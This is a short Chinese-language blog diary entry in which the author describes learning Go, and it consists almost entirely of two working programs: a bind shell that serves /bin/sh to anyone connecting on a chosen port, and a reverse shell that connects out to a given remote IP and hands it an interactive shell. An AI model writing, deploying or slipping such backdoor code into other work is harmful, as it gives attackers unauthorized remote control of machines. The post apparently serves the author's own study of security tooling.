日记

之第二周学了什么

Posted by pic4xiu on May 2, 2023

这周主要是写 go !贼有意思!

package main
import (
	"net"
	"os"
	"os/exec"
	"log"
)

func main() {
	var addr string
	addr = os.Args[1]
	listener, err := net.Listen("tcp", addr)//监听端口
	if err != nil {
		log.Fatal("Error connecting. ", err)
	}
	for {
		conn, err := listener.Accept()//接受连接
		if err != nil {
			log.Println("accepting connection err: ", err)
		}
		go handleConnection(conn)
	}

}

func handleConnection(conn net.Conn) {
	var shell = "/bin/sh"
	_, _ = conn.Write([]byte("bind shell demo\n"))
	command := exec.Command(shell)
	command.Env = os.Environ()
	command.Stdin = conn
	command.Stdout = conn
	command.Stderr = conn
	_ = command.Run()
}
package main
import (
	"log"
	"net"
	"os"
	"os/exec"
)

var (
	shell    = "/bin/sh"
	remoteIp string
)

func main() {
	remoteIp = os.Args[1]
	remoteConn, err := net.Dial("tcp", remoteIp)//远程过去
	if err != nil {
		log.Fatal("connecting err: ", err)
	}
	_, _ = remoteConn.Write([]byte("reverse_shell demo"))
	command := exec.Command(shell)
	command.Env = os.Environ()
	command.Stdin = remoteConn//置为远程
	command.Stdout = remoteConn
	command.Stderr = remoteConn
	_ = command.Run()
}

上边的是本地,底下是反向,主要是

  • ip
  • std 环境